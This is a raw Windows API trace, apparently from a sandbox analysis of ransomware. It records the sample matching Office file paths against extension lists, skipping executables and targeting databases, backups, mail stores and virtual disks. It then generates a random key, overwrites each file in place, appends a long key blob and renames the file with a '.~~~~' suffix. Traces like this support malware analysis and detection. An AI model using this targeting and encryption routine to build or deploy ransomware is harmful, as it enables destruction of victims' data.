	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".MYD") returned 0x0
	[0139.797] lstrlenW (lpString=".DBT") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DBT") returned 0x0
	[0139.797] lstrlenW (lpString=".ACCDB") returned 6
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.797] lstrlenW (lpString=".fdb") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".fdb") returned 0x0
	[0139.797] lstrlenW (lpString=".bak") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".bak") returned 0x0
	[0139.797] lstrlenW (lpString=".myd") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".myd") returned 0x0
	[0139.797] lstrlenW (lpString=".DTXS") returned 5
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DTXS") returned 0x0
	[0139.797] lstrlenW (lpString=".ckp") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".ckp") returned 0x0
	[0139.797] lstrlenW (lpString=".dbt") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dbt") returned 0x0
	[0139.797] lstrlenW (lpString=".db") returned 3
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".db") returned 0x0
	[0139.797] lstrlenW (lpString=".TXT") returned 4
	[0139.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".TXT") returned 0x0
	[0139.798] lstrlenW (lpString=".MDF") returned 4
	[0139.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".MDF") returned 0x0
	[0139.798] lstrlenW (lpString=".bdb") returned 4
	[0139.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".bdb") returned 0x0
	[0139.798] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.798] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.799] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.799] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.800] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25979203812) returned 1
	[0139.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbcbf1f10, dwHighDateTime=0x1d60e1e)) 
	[0139.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d8b8
	[0139.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d8b8 | out: hHeap=0x300000) returned 1
	[0139.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399710
	[0139.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399710 | out: hHeap=0x300000) returned 1
	[0139.803] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.803] GetLastError () returned 0x0
	[0139.804] GetLastError () returned 0x0
	[0139.804] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.804] GetLastError () returned 0x0
	[0139.804] GetLastError () returned 0x0
	[0139.804] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.809] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.809] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.810] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.810] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.811] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.811] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.811] CloseHandle (hObject=0x138) returned 1
	[0139.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399710
	[0139.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css.~~~~")) returned 1
	[0139.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399710 | out: hHeap=0x300000) returned 1
	[0139.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.813] GetLastError () returned 0x0
	[0139.814] RtlWakeConditionVariable () returned 0x0
	[0139.814] GetCurrentThreadId () returned 0x9cc
	[0139.814] GetCurrentThreadId () returned 0x9cc
	[0139.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398e88 | out: hHeap=0x300000) returned 1
	[0139.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d880 | out: hHeap=0x300000) returned 1
	[0139.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398e88
	[0139.814] lstrlenW (lpString=".scr") returned 4
	[0139.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".scr") returned 0x0
	[0139.814] lstrlenW (lpString=".cmd") returned 4
	[0139.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".cmd") returned 0x0
	[0139.814] lstrlenW (lpString=".dll") returned 4
	[0139.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dll") returned 0x0
	[0139.814] lstrlenW (lpString=".bat") returned 4
	[0139.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".bat") returned 0x0
	[0139.815] lstrlenW (lpString=".cpl") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".cpl") returned 0x0
	[0139.815] lstrlenW (lpString=".sys") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".sys") returned 0x0
	[0139.815] lstrlenW (lpString=".msc") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".msc") returned 0x0
	[0139.815] lstrlenW (lpString=".com") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".com") returned 0x0
	[0139.815] lstrlenW (lpString=".lnk") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".lnk") returned 0x0
	[0139.815] lstrlenW (lpString=".msp") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".msp") returned 0x0
	[0139.815] lstrlenW (lpString=".pif") returned 4
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".pif") returned 0x0
	[0139.815] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.817] lstrlenW (lpString=".sqb") returned 4
	[0139.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".sqb") returned 0x0
	[0139.817] lstrlenW (lpString=".ost") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".ost") returned 0x0
	[0139.818] lstrlenW (lpString=".txt") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".txt") returned 0x0
	[0139.818] lstrlenW (lpString=".mdt") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".mdt") returned 0x0
	[0139.818] lstrlenW (lpString=".BDB") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".BDB") returned 0x0
	[0139.818] lstrlenW (lpString=".eql") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".eql") returned 0x0
	[0139.818] lstrlenW (lpString=".DBF") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DBF") returned 0x0
	[0139.818] lstrlenW (lpString=".EQL") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".EQL") returned 0x0
	[0139.818] lstrlenW (lpString=".FDB") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".FDB") returned 0x0
	[0139.818] lstrlenW (lpString=".EDB") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".EDB") returned 0x0
	[0139.818] lstrlenW (lpString=".DACPAC") returned 7
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.818] lstrlenW (lpString=".VHD") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".VHD") returned 0x0
	[0139.818] lstrlenW (lpString=".DBV") returned 4
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DBV") returned 0x0
	[0139.818] lstrlenW (lpString=".dacpac") returned 7
	[0139.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dacpac") returned 0x0
	[0139.818] lstrlenW (lpString=".sdf") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".sdf") returned 0x0
	[0139.819] lstrlenW (lpString=".accdb") returned 6
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".accdb") returned 0x0
	[0139.819] lstrlenW (lpString=".DBX") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DBX") returned 0x0
	[0139.819] lstrlenW (lpString=".MDT") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".MDT") returned 0x0
	[0139.819] lstrlenW (lpString=".SQB") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".SQB") returned 0x0
	[0139.819] lstrlenW (lpString=".vhd") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".vhd") returned 0x0
	[0139.819] lstrlenW (lpString=".bac") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".bac") returned 0x0
	[0139.819] lstrlenW (lpString=".mdf") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".mdf") returned 0x0
	[0139.819] lstrlenW (lpString=".BAK") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".BAK") returned 0x0
	[0139.819] lstrlenW (lpString=".BAC") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".BAC") returned 0x0
	[0139.819] lstrlenW (lpString=".dbs") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dbs") returned 0x0
	[0139.819] lstrlenW (lpString=".vhdx") returned 5
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".vhdx") returned 0x0
	[0139.819] lstrlenW (lpString=".NDF") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".NDF") returned 0x0
	[0139.819] lstrlenW (lpString=".dat") returned 4
	[0139.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dat") returned 0x0
	[0139.820] lstrlenW (lpString=".DBS") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DBS") returned 0x0
	[0139.820] lstrlenW (lpString=".CKP") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".CKP") returned 0x0
	[0139.820] lstrlenW (lpString=".edb") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".edb") returned 0x0
	[0139.820] lstrlenW (lpString=".PST") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".PST") returned 0x0
	[0139.820] lstrlenW (lpString=".dbf") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dbf") returned 0x0
	[0139.820] lstrlenW (lpString=".SQL") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".SQL") returned 0x0
	[0139.820] lstrlenW (lpString=".pst") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".pst") returned 0x0
	[0139.820] lstrlenW (lpString=".dbv") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dbv") returned 0x0
	[0139.820] lstrlenW (lpString=".SDF") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".SDF") returned 0x0
	[0139.820] lstrlenW (lpString=".dtxs") returned 5
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dtxs") returned 0x0
	[0139.820] lstrlenW (lpString=".db3") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".db3") returned 0x0
	[0139.820] lstrlenW (lpString=".OST") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".OST") returned 0x0
	[0139.820] lstrlenW (lpString=".dbx") returned 4
	[0139.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dbx") returned 0x0
	[0139.821] lstrlenW (lpString=".DB3") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DB3") returned 0x0
	[0139.821] lstrlenW (lpString=".DAT") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DAT") returned 0x0
	[0139.821] lstrlenW (lpString=".VHDX") returned 5
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".VHDX") returned 0x0
	[0139.821] lstrlenW (lpString=".ndf") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".ndf") returned 0x0
	[0139.821] lstrlenW (lpString=".DB") returned 3
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DB") returned 0x0
	[0139.821] lstrlenW (lpString=".sql") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".sql") returned 0x0
	[0139.821] lstrlenW (lpString=".MYD") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".MYD") returned 0x0
	[0139.821] lstrlenW (lpString=".DBT") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DBT") returned 0x0
	[0139.821] lstrlenW (lpString=".ACCDB") returned 6
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.821] lstrlenW (lpString=".fdb") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".fdb") returned 0x0
	[0139.821] lstrlenW (lpString=".bak") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".bak") returned 0x0
	[0139.821] lstrlenW (lpString=".myd") returned 4
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".myd") returned 0x0
	[0139.821] lstrlenW (lpString=".DTXS") returned 5
	[0139.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".DTXS") returned 0x0
	[0139.821] lstrlenW (lpString=".ckp") returned 4
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".ckp") returned 0x0
	[0139.822] lstrlenW (lpString=".dbt") returned 4
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".dbt") returned 0x0
	[0139.822] lstrlenW (lpString=".db") returned 3
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".db") returned 0x0
	[0139.822] lstrlenW (lpString=".TXT") returned 4
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".TXT") returned 0x0
	[0139.822] lstrlenW (lpString=".MDF") returned 4
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".MDF") returned 0x0
	[0139.822] lstrlenW (lpString=".bdb") returned 4
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".bdb") returned 0x0
	[0139.822] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.822] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.823] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.823] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
